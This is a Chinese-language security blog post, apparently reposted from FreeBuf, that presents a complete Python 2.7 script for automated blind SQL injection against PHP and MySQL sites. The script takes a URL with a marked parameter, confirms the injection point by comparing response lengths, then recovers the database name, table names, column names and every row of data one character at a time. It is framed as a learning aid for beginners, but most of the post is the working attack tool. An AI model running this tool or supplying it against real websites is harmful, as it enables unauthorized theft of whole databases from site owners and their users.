我想在FreeBuf上出没的人一般都是安全行业的,或者说是安全方面的爱好者,所以大家对sql注入应该都比较了解,反正我刚入门的时候就是学的这些:sql注入、xss之类的。sql注入从出现到现在也十多年了,但是一直都在owasp top10中有一席之地,原因之一就是sql注入的门槛低危害高,攻击者不需要带计算机知识、网络知识有什么太深的了解,甚至是都不需要了解,只要知道几条sql语句和那几种数据库的不同结构就可以发起攻击,而造成的伤害确实非常非常高的。
大型的网站已经很少有sql注入漏洞了,但是对于那些开发和防护都不太过关的小网站却还经常会存在sql注入漏洞,毕竟百密一疏,只要有一个注入点就可以遍历整个数据库。我本人对sql注入技术其实不是很感兴趣,而且我sql注入的水平也比较的low,这篇文章呢主要目的是帮助刚刚踏入安全界或者说是想要从事安全工作的新手们学习sql注入知识而写的,自己手写一个注入工具能让你更好的熟悉注入的原理和过程,这篇文中文字将比较少,代码占大部分,代码我也大多加了注释比较容易看懂。
运行环境:windows7/8/10 +python 2.7
存在sql注入漏洞环境:PHP+mysql
sql注入类型:盲注
主要的思路:判断url有无注入漏洞→若有漏洞用户决定是否继续注入→猜解数据库名长度→猜解数据库名→猜解数据库中表个数→猜解每个表的长度与表名→根据表名查看表中内容
1. 在这里我只写了对于mysql的盲注利用工具,所以对mssql、oracle等其他数据库基本是不好使,本来我是想把这两个也加进去的,但是我精力有限就没有继续完善
2. 这个工具呢实际应用作用不大,适用范围比较小,只适合新手学习用,原因就是因为后面的注入语句没有跟前面的判断语句做动态的关联,而是直接写死的,这就造成了有的环境下不好用,我是没精力改写了,喜欢玩的就下面这个段代码改改,就能适应更多环境更多种类的数据库了。
3. 这个工具呢只能应用于GET提交数据的网站,post的原理一样,只是还没写上呢……
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 |
#!/usr/bin/python #-*- coding: UTF-8 -*- import httplib import urllib def sqlscan(): while 1: ture=('+and+5=5',' and 2=2')#这里是判断有无注入的语句 false=('+and+5=6',' and 2=3') url=raw_input("输入源url:") if url.find('http://')!= -1: #看有没有http://有的话删除 url=url.lstrip('http://') #删除http:// a=url.find('/') #找/分割主机和资源名 print a host=url[:a] #/前的是主机名 path=url[a:] #后面是资源名 conn=httplib.HTTPConnection(host,80) #与主机建立一个http连接 in_p=path.find('$') #查找注入点的位置 i=0 len_x=0 while (len_x<10)and(i<len(ture)): #path_ture=path[:in_p-1]+ture[i]+path[in_p:] #组合注入语句 #path_false=path[:in_p-1]+false[i]+path[in_p:] #组合错误的注入语句 path_ture=path.replace('$',urllib.quote(ture[i])) #用判断注入的语句替换$ path_false=path.replace('$',urllib.quote(false[i])) conn=httplib.HTTPConnection(host,80) conn.request('GET',path_ture) #以get方式请求 res_ture=conn.getresponse() len_ture=len(res_ture.read()) #计算返回信息的长度 print "len_ture:",len_ture #body_ture=res_ture.read() #print body_ture conn=httplib.HTTPConnection(host,80) conn.request('GET',path_false)#同上 res_false=conn.getresponse() len_false=len(res_false.read()) print "len_false:",len_false len_x=abs(len_ture-len_false) i+=1 if len_x>10: s1= "$处存在sql注入漏洞" print s1.decode('utf-8') d=raw_input("是否尝试注入Y/N: ") if d=='N': break elif d=='Y': sqlin(host,path,conn,len_ture) if len_x<=10: s= "貌似没有sql注入漏洞" print s.decode('utf-8') continue def sqlin(host,path,conn,len_ture): num=0 while num < 50: sqli_database_len=' and length(database())>'+str(num)#组合注入语句,猜数据库名字长度,改进的话应该在这把注入语句 #跟前面的判断注入语句关联 path_sqli=path.replace('$',urllib.quote(sqli_database_len)) #组合新的path #print path_sqli conn.request('GET',path_sqli) #获取数据 res=conn.getresponse() #获取数据 res_len=len(res.read()) #获取数据长度 diff=abs(len_ture-res_len) #对比长度 #print diff if diff > 10: #条件长度差大于10即认为不同 database_len=num print "数据库名长度:",database_len break num+=1 ''' num_1=1 database_name=[] while num_1<=database_len: for i in range(33,127): sqli_database_name=' and ord(mid(database(),'+str(num_1)+',1))>'+str(i) path_sqli=path.replace('$',urllib.quote(sqli_database_name)) conn.request('GET',path_sqli) #获取数据 res=conn.getresponse() #获取数据 res_len=len(res.read()) #获取数据长度 diff=abs(len_ture-res_len) #对比长度 if diff > 10: #条件长度差大于10即认为不同 database_name.append(chr(i)) break num_1+=1 ''' num_1=1 database_name=[] while num_1<=database_len:#猜数据库名 min_num=33 max_num=127 while 1:#二分法猜字段 num_2=(min_num+max_num)/2 sqli_database_name=' and ord(mid(database(),'+str(num_1)+',1))>'+str(num_2) path_sqli=path.replace('$',urllib.quote(sqli_database_name)) conn.request('GET',path_sqli) #获取数据 res=conn.getresponse() #获取数据 res_len=len(res.read()) #获取数据长度 diff=abs(len_ture-res_len) #对比长度 if diff<10: min_num=num_2 else: max_num=num_2 if max_num-min_num==1: database_name.append(chr(max_num)) break #print 'min_num:',min_num #print 'max_num:',max_num num_1+=1 database_name_1=( ''.join(database_name)) print "数据库名:",database_name_1 num_3=0 while num_3 < 100: sqli_database_len=' and (select count(table_name) from information_schema.tables where table_schema=database())>'+str(num_3)#组合注入语句,猜数据库表个数 path_sqli=path.replace('$',urllib.quote(sqli_database_len)) #组合新的path #print path_sqli conn.request('GET',path_sqli) #获取数据 res=conn.getresponse() #获取数据 res_len=len(res.read()) #获取数据长度 diff=abs(len_ture-res_len) #对比长度 #print diff if diff > 10: #条件长度差大于10即认为不正确 database_len=num_3 print "数据库中表的个数:",database_len break num_3+=1 #''' num_4=0 while num_4<database_len: num_5=0 while num_5<50:#猜解表名长度 sqli_database_len=' and (select length(table_name) from information_schema.tables where table_schema=database() limit '+str(num_4)+',1)>'+str(num_5)#组合注入语句,猜数据库表个数 path_sqli=path.replace('$',urllib.quote(sqli_database_len)) #组合新的path conn.request('GET',path_sqli) #获取数据 res=conn.getresponse() #获取数据 res_len=len(res.read()) #获取数据长度 diff=abs(len_ture-res_len) #对比长度 if diff > 10: #条件长度差小于10即认为正确 table_NO=num_4+1 table_len=num_5 #print "数据库中第",table_NO,"个表的长度:",table_len break num_5+=1 num_6=1 table_name=[] tables=[] while num_6<=table_len:#猜解数据库表名 min_num=33 max_num=127 while 1:#二分法猜字段,二分法比一个一个猜快很多 num_7=(min_num+max_num)/2 sqli_database_name=' and ord(mid((select table_name from information_schema.tables where table_schema=database() limit '+str(num_4)+',1),'+str(num_6)+',1))>'+str(num_7) path_sqli=path.replace('$',urllib.quote(sqli_database_name)) conn.request('GET',path_sqli) #获取数据 res=conn.getresponse() #获取数据 res_len=len(res.read()) #获取数据长度 diff=abs(len_ture-res_len) #对比长度 if diff<10: min_num=num_7 else: max_num=num_7 if max_num-min_num==1: table_name.append(chr(max_num)) break #print 'min_num:',min_num #print 'max_num:',max_num num_6+=1 table_name_1=( ''.join(table_name)) tables.append(table_name_1) print "数据库中第",table_NO,"个表的长度:",table_len," 表名:",table_name_1 num_4+=1 while 1: table_name_2=raw_input("输入要查看的表名:") #根据上面猜解出来的表名来查看各个表的详细情况 num_7=0 column_num=0 while num_7<100:#猜解表中有多少列,我猜应该不会超过100列吧,这里可以改 sqli_database_len=' and (select count(column_name) from information_schema.columns where table_name="'+table_name_2+'")>'+str(num_7) #组合注入语句,表中列的个数,注意有的地方表名需要单引号‘’,在这里需要双引号“” path_sqli=path.replace('$',urllib.quote(sqli_database_len)) #组合新的path conn.request('GET',path_sqli) #获取数据 res=conn.getresponse() #获取数据 res_len=len(res.read()) #获取数据长度 diff=abs(len_ture-res_len) #对比长度 if diff > 10:#条件长度差小于10即认为正确 column_num=num_7 #表中的列数 #print column_num break num_7+=1 num_8=0 columns_name=[] while num_8<column_num:#猜解所有表名与长度 这里num_8不得大于上文的表名个数 num_9=0 while num_9<50:#猜列名长度 sqli_database_len=' and (select length(column_name) from information_schema.columns where table_name="'+table_name_2+'" limit '+str(num_8)+',1)>'+str(num_9) #组合注入语句,表中列的个数,注意有的地方表名需要单引号‘’,在这里需要双引号“” path_sqli=path.replace('$',urllib.quote(sqli_database_len)) #组合新的path conn.request('GET',path_sqli) #获取数据 res=conn.getresponse() #获取数据 res_len=len(res.read()) #获取数据长度 diff=abs(len_ture-res_len) #对比长度 if diff > 10:#条件长度差小于10即认为正确 column_len=num_9 #这里就是列名的长度 #print column_len break num_9+=1 num_10=1 column_name=[] while num_10<=column_len:#猜列名 min_num=33 max_num=127 while 1:#二分法猜列名 num_2=(min_num+max_num)/2 sqli_database_name=' and ord(mid((select column_name from information_schema.columns where table_name="'+table_name_2+'" limit '+str(num_8)+',1),'+str(num_10)+',1))>'+str(num_2) #print sqli_database_name path_sqli=path.replace('$',urllib.quote(sqli_database_name)) conn.request('GET',path_sqli) #获取数据 res=conn.getresponse() #获取数据 res_len=len(res.read()) #获取数据长度 diff=abs(len_ture-res_len) #对比长度 if diff<10: min_num=num_2 else: max_num=num_2 if max_num-min_num==1: column_name.append(chr(max_num)) break #print 'min_num:',min_num #print 'max_num:',max_num num_10+=1 column_name_1=( ''.join(column_name)) #print column_name_1 columns_name.append(column_name_1) num_8+=1 print "表名:",columns_name shujumax=0 #每列数据数量的最大值 for i in columns_name: num_11=0 while num_11<1000: sqli_database_len=' and (select count('+i+') from '+table_name_2+')>'+str(num_11) #组合注入语句,表中第一列数据的个数,注意有的地方表名需要单引号‘’,在这里需要双引号“” path_sqli=path.replace('$',urllib.quote(sqli_database_len)) #组合新的path conn.request('GET',path_sqli) #获取数据 res=conn.getresponse() #获取数据 res_len=len(res.read()) #获取数据长度 diff=abs(len_ture-res_len) #对比长度 if diff > 10:#条件长度差小于10即认为正确 column_shu=num_11 #这里就是列名的长度 if column_shu>shujumax: shujumax=column_shu break num_11+=1 #print "最大数量:",shujumax num_12=0 while num_12<shujumax: shujuneirong_1hang=[] for i in columns_name: num_13=0 while num_13<50: sqli=' and (select length('+i+') from '+table_name_2+' limit '+str(num_12)+',1)>'+str(num_13) #and (select length(id) from saiqu limit 0,1)>0 #组合注入语句,表中第一列数据的个数,注意有的地方表名需要单引号‘’,在这里需要双引号“” path_sqli=path.replace('$',urllib.quote(sqli)) #组合新的path conn.request('GET',path_sqli) #获取数据 res=conn.getresponse() #获取数据 res_len=len(res.read()) #获取数据长度 diff=abs(len_ture-res_len) #对比长度 if diff > 10:#条件长度差小于10即认为正确 shuju_len=num_13 #这里就是数据的长度 break num_13+=1 #print "这个数据的长度:",shuju_len num_14=1 shujuneirong=[] while num_14<=shuju_len:#猜测数据的内容 min_num=33 max_num=127 while 1:#二分法猜列名 num_2=(min_num+max_num)/2 sqli_database_name=' and ord(mid((select '+i+' from '+table_name_2+' limit '+str(num_12)+',1),'+str(num_14)+',1))>'+str(num_2) path_sqli=path.replace('$',urllib.quote(sqli_database_name)) conn.request('GET',path_sqli) #获取数据 res=conn.getresponse() #获取数据 res_len=len(res.read()) #获取数据长度 diff=abs(len_ture-res_len) #对比长度 if diff<10: min_num=num_2 else: max_num=num_2 if max_num-min_num==1: shujuneirong.append(chr(max_num)) break #print 'min_num:',min_num #print 'max_num:',max_num num_14+=1 shujuneirong_1=( ''.join(shujuneirong)) shujuneirong_1hang.append(shujuneirong_1) print "内容:",shujuneirong_1hang num_12+=1 sqlscan() |
记得在输入url的时候在你觉得可能有注入漏洞的地方加一个$符号,如果有注入漏洞并且你要继续注入的话就输入Y,等到跑出所有表名你就可以根据表名来继续注入因为每个字都要猜所以比较慢才能猜出所有内容,所以要有点耐心啊。
转自FREEBUF,原文链接:http://www.freebuf.com/column/132790.html
本文由 安全周 作者:空心 发表,转载请注明来源!
您必须[登录] 才能发表留言!